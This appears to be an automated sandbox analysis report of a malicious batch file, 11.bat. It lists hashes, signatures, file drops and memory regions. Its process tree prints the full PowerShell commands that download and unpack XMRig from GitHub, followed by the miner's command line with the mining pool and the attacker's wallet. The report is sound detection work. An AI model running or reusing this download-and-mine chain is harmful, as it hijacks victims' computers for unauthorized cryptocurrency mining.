Resubmissions

Analysis

  • max time kernel
    1797s
  • max time network
    1803s
  • platform
    windows10-1703_x64
  • resource
    win10-20240221-en
  • resource tags

    arch:x64arch:x86image:win10-20240221-enlocale:en-usos:windows10-1703-x64system
  • submitted
    18/03/2024, 18:05

General

  • Target

    11.bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\11.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4832
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4460
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1736
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:3872

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    56efdb5a0f10b5eece165de4f8c9d799

    SHA1

    fa5de7ca343b018c3bfeab692545eb544c244e16

    SHA256

    6c4e3fefc4faa1876a72c0964373c5fa08d3ab074eec7b1313b3e8410b9cb108

    SHA512

    91e50779bbae7013c492ea48211d6b181175bfed38bf4b451925d5812e887c555528502316bbd4c4ab1f21693d77b700c44786429f88f60f7d92f21e46ea5ddc

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    a6cb8dec7cb20c6227f9e6b8658f2523

    SHA1

    65322fa96a2f7a6490857c6cfbf3245efcde4162

    SHA256

    1a6d460510aa0f35a285262e58fe1d98fa5bcd83c85305d5909483771a858601

    SHA512

    db039740c31b0c620919a636410dff38944a28a0ff509f0cdca36ee3bce1ab07b6d1b6dd4d5df93971a9431150e2219c6fcf0c46b1e23ff2f4dff06c6866067d

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2quwxjnx.1p1.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

    Filesize

    3.2MB

    MD5

    4b2275e8df65719009314a0a23a45558

    SHA1

    95fbef4629f6ace3dba90df63a9825e503e3c7eb

    SHA256

    4b8e7ff95e742973fb9c8c38ac68f6a1e692b05415036e1c92ee201b3b0e6699

    SHA512

    afb324ca3377dc8076d739dde9424ece01b32936b61fd92d5897625f296572637c061068a22a45fbd3e9565be9cb6e35b8f5b9f6c13c5f612443c03d1b04a91f

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

    Filesize

    7.9MB

    MD5

    e2fe87cc2c7dab8ca6516620dccd1381

    SHA1

    f714ec0448325435103519452610cf7aadf8bbba

    SHA256

    d0cf7388253342f43f9b04da27f3da9ee18614539efdc2d9c4a0239af51ddbe4

    SHA512

    8455c47e8470e0e322426bc9b9f3c7e858d803bfc8c5d576d580f88585f550b95043139d69b0750a3e211915e3f5ec7a67e7784dcf8cac6bd8fe51ab7e9cbed6

  • memory/1736-39-0x00007FF8ECAC0000-0x00007FF8ED4AC000-memory.dmp

    Filesize

    9.9MB

  • memory/1736-41-0x00000112C7DA0000-0x00000112C7DB0000-memory.dmp

    Filesize

    64KB

  • memory/1736-42-0x00000112C7DA0000-0x00000112C7DB0000-memory.dmp

    Filesize

    64KB

  • memory/1736-117-0x00007FF8ECAC0000-0x00007FF8ED4AC000-memory.dmp

    Filesize

    9.9MB

  • memory/1736-93-0x00000112C8070000-0x00000112C807A000-memory.dmp

    Filesize

    40KB

  • memory/1736-80-0x00000112C8110000-0x00000112C8122000-memory.dmp

    Filesize

    72KB

  • memory/1736-66-0x00000112C7DA0000-0x00000112C7DB0000-memory.dmp

    Filesize

    64KB

  • memory/3872-147-0x00007FF63BF40000-0x00007FF63CA43000-memory.dmp

    Filesize

    11.0MB

  • memory/3872-152-0x00007FF63BF40000-0x00007FF63CA43000-memory.dmp

    Filesize

    11.0MB

  • memory/3872-188-0x00007FF63BF40000-0x00007FF63CA43000-memory.dmp

    Filesize

    11.0MB

  • memory/3872-187-0x00007FF63BF40000-0x00007FF63CA43000-memory.dmp

    Filesize

    11.0MB

  • memory/3872-186-0x00007FF63BF40000-0x00007FF63CA43000-memory.dmp

    Filesize

    11.0MB

  • memory/3872-185-0x00007FF63BF40000-0x00007FF63CA43000-memory.dmp

    Filesize

    11.0MB

  • memory/3872-184-0x00007FF63BF40000-0x00007FF63CA43000-memory.dmp

    Filesize

    11.0MB

  • memory/3872-120-0x0000014E408E0000-0x0000014E40900000-memory.dmp

    Filesize

    128KB

  • memory/3872-121-0x0000014E422E0000-0x0000014E42320000-memory.dmp

    Filesize

    256KB

  • memory/3872-122-0x00007FF63BF40000-0x00007FF63CA43000-memory.dmp

    Filesize

    11.0MB

  • memory/3872-123-0x0000014E42320000-0x0000014E42340000-memory.dmp

    Filesize

    128KB

  • memory/3872-124-0x0000014E42340000-0x0000014E42360000-memory.dmp

    Filesize

    128KB

  • memory/3872-125-0x00007FF63BF40000-0x00007FF63CA43000-memory.dmp

    Filesize

    11.0MB

  • memory/3872-126-0x00007FF63BF40000-0x00007FF63CA43000-memory.dmp

    Filesize

    11.0MB

  • memory/3872-127-0x00007FF63BF40000-0x00007FF63CA43000-memory.dmp

    Filesize

    11.0MB

  • memory/3872-128-0x0000014E42320000-0x0000014E42340000-memory.dmp

    Filesize

    128KB

  • memory/3872-129-0x0000014E42340000-0x0000014E42360000-memory.dmp

    Filesize

    128KB

  • memory/3872-130-0x00007FF63BF40000-0x00007FF63CA43000-memory.dmp

    Filesize

    11.0MB

  • memory/3872-131-0x00007FF63BF40000-0x00007FF63CA43000-memory.dmp

    Filesize

    11.0MB

  • memory/3872-132-0x00007FF63BF40000-0x00007FF63CA43000-memory.dmp

    Filesize

    11.0MB

  • memory/3872-133-0x00007FF63BF40000-0x00007FF63CA43000-memory.dmp

    Filesize

    11.0MB

  • memory/3872-134-0x00007FF63BF40000-0x00007FF63CA43000-memory.dmp

    Filesize

    11.0MB

  • memory/3872-135-0x00007FF63BF40000-0x00007FF63CA43000-memory.dmp

    Filesize

    11.0MB

  • memory/3872-136-0x00007FF63BF40000-0x00007FF63CA43000-memory.dmp

    Filesize

    11.0MB

  • memory/3872-137-0x00007FF63BF40000-0x00007FF63CA43000-memory.dmp

    Filesize

    11.0MB

  • memory/3872-138-0x00007FF63BF40000-0x00007FF63CA43000-memory.dmp

    Filesize

    11.0MB

  • memory/3872-139-0x00007FF63BF40000-0x00007FF63CA43000-memory.dmp

    Filesize

    11.0MB

  • memory/3872-140-0x00007FF63BF40000-0x00007FF63CA43000-memory.dmp

    Filesize

    11.0MB

  • memory/3872-141-0x00007FF63BF40000-0x00007FF63CA43000-memory.dmp

    Filesize

    11.0MB

  • memory/3872-142-0x00007FF63BF40000-0x00007FF63CA43000-memory.dmp

    Filesize

    11.0MB

  • memory/3872-143-0x00007FF63BF40000-0x00007FF63CA43000-memory.dmp

    Filesize

    11.0MB

  • memory/3872-144-0x00007FF63BF40000-0x00007FF63CA43000-memory.dmp

    Filesize

    11.0MB

  • memory/3872-145-0x00007FF63BF40000-0x00007FF63CA43000-memory.dmp

    Filesize

    11.0MB

  • memory/3872-146-0x00007FF63BF40000-0x00007FF63CA43000-memory.dmp

    Filesize

    11.0MB

  • memory/3872-183-0x00007FF63BF40000-0x00007FF63CA43000-memory.dmp

    Filesize

    11.0MB

  • memory/3872-148-0x00007FF63BF40000-0x00007FF63CA43000-memory.dmp

    Filesize

    11.0MB

  • memory/3872-149-0x00007FF63BF40000-0x00007FF63CA43000-memory.dmp

    Filesize

    11.0MB

  • memory/3872-150-0x00007FF63BF40000-0x00007FF63CA43000-memory.dmp

    Filesize

    11.0MB

  • memory/3872-151-0x00007FF63BF40000-0x00007FF63CA43000-memory.dmp

    Filesize

    11.0MB

  • memory/3872-182-0x00007FF63BF40000-0x00007FF63CA43000-memory.dmp

    Filesize

    11.0MB

  • memory/3872-153-0x00007FF63BF40000-0x00007FF63CA43000-memory.dmp

    Filesize

    11.0MB

  • memory/3872-154-0x00007FF63BF40000-0x00007FF63CA43000-memory.dmp

    Filesize

    11.0MB

  • memory/3872-155-0x00007FF63BF40000-0x00007FF63CA43000-memory.dmp

    Filesize

    11.0MB

  • memory/3872-156-0x00007FF63BF40000-0x00007FF63CA43000-memory.dmp

    Filesize

    11.0MB

  • memory/3872-157-0x00007FF63BF40000-0x00007FF63CA43000-memory.dmp

    Filesize

    11.0MB

  • memory/3872-158-0x00007FF63BF40000-0x00007FF63CA43000-memory.dmp

    Filesize

    11.0MB

  • memory/3872-159-0x00007FF63BF40000-0x00007FF63CA43000-memory.dmp

    Filesize

    11.0MB

  • memory/3872-160-0x00007FF63BF40000-0x00007FF63CA43000-memory.dmp

    Filesize

    11.0MB

  • memory/3872-161-0x00007FF63BF40000-0x00007FF63CA43000-memory.dmp

    Filesize

    11.0MB

  • memory/3872-162-0x00007FF63BF40000-0x00007FF63CA43000-memory.dmp

    Filesize

    11.0MB

  • memory/3872-163-0x00007FF63BF40000-0x00007FF63CA43000-memory.dmp

    Filesize

    11.0MB

  • memory/3872-164-0x00007FF63BF40000-0x00007FF63CA43000-memory.dmp

    Filesize

    11.0MB

  • memory/3872-165-0x00007FF63BF40000-0x00007FF63CA43000-memory.dmp

    Filesize

    11.0MB

  • memory/3872-166-0x00007FF63BF40000-0x00007FF63CA43000-memory.dmp

    Filesize

    11.0MB

  • memory/3872-167-0x00007FF63BF40000-0x00007FF63CA43000-memory.dmp

    Filesize

    11.0MB

  • memory/3872-168-0x00007FF63BF40000-0x00007FF63CA43000-memory.dmp

    Filesize

    11.0MB

  • memory/3872-169-0x00007FF63BF40000-0x00007FF63CA43000-memory.dmp

    Filesize

    11.0MB

  • memory/3872-170-0x00007FF63BF40000-0x00007FF63CA43000-memory.dmp

    Filesize

    11.0MB

  • memory/3872-171-0x00007FF63BF40000-0x00007FF63CA43000-memory.dmp

    Filesize

    11.0MB

  • memory/3872-172-0x00007FF63BF40000-0x00007FF63CA43000-memory.dmp

    Filesize

    11.0MB

  • memory/3872-173-0x00007FF63BF40000-0x00007FF63CA43000-memory.dmp

    Filesize

    11.0MB

  • memory/3872-174-0x00007FF63BF40000-0x00007FF63CA43000-memory.dmp

    Filesize

    11.0MB

  • memory/3872-175-0x00007FF63BF40000-0x00007FF63CA43000-memory.dmp

    Filesize

    11.0MB

  • memory/3872-176-0x00007FF63BF40000-0x00007FF63CA43000-memory.dmp

    Filesize

    11.0MB

  • memory/3872-177-0x00007FF63BF40000-0x00007FF63CA43000-memory.dmp

    Filesize

    11.0MB

  • memory/3872-178-0x00007FF63BF40000-0x00007FF63CA43000-memory.dmp

    Filesize

    11.0MB

  • memory/3872-179-0x00007FF63BF40000-0x00007FF63CA43000-memory.dmp

    Filesize

    11.0MB

  • memory/3872-180-0x00007FF63BF40000-0x00007FF63CA43000-memory.dmp

    Filesize

    11.0MB

  • memory/3872-181-0x00007FF63BF40000-0x00007FF63CA43000-memory.dmp

    Filesize

    11.0MB

  • memory/4460-26-0x00007FF8ECAC0000-0x00007FF8ED4AC000-memory.dmp

    Filesize

    9.9MB

  • memory/4460-4-0x000001E3E9C20000-0x000001E3E9C42000-memory.dmp

    Filesize

    136KB

  • memory/4460-5-0x00007FF8ECAC0000-0x00007FF8ED4AC000-memory.dmp

    Filesize

    9.9MB

  • memory/4460-7-0x000001E3E9C50000-0x000001E3E9C60000-memory.dmp

    Filesize

    64KB

  • memory/4460-6-0x000001E3E9C50000-0x000001E3E9C60000-memory.dmp

    Filesize

    64KB

  • memory/4460-10-0x000001E3E9DE0000-0x000001E3E9E56000-memory.dmp

    Filesize

    472KB

  • memory/4460-25-0x000001E3E9C50000-0x000001E3E9C60000-memory.dmp

    Filesize

    64KB

  • memory/4460-27-0x000001E3E9C50000-0x000001E3E9C60000-memory.dmp

    Filesize

    64KB

  • memory/4460-28-0x000001E3E9C50000-0x000001E3E9C60000-memory.dmp

    Filesize

    64KB

  • memory/4460-29-0x000001E3E9C50000-0x000001E3E9C60000-memory.dmp

    Filesize

    64KB

  • memory/4460-34-0x00007FF8ECAC0000-0x00007FF8ED4AC000-memory.dmp

    Filesize

    9.9MB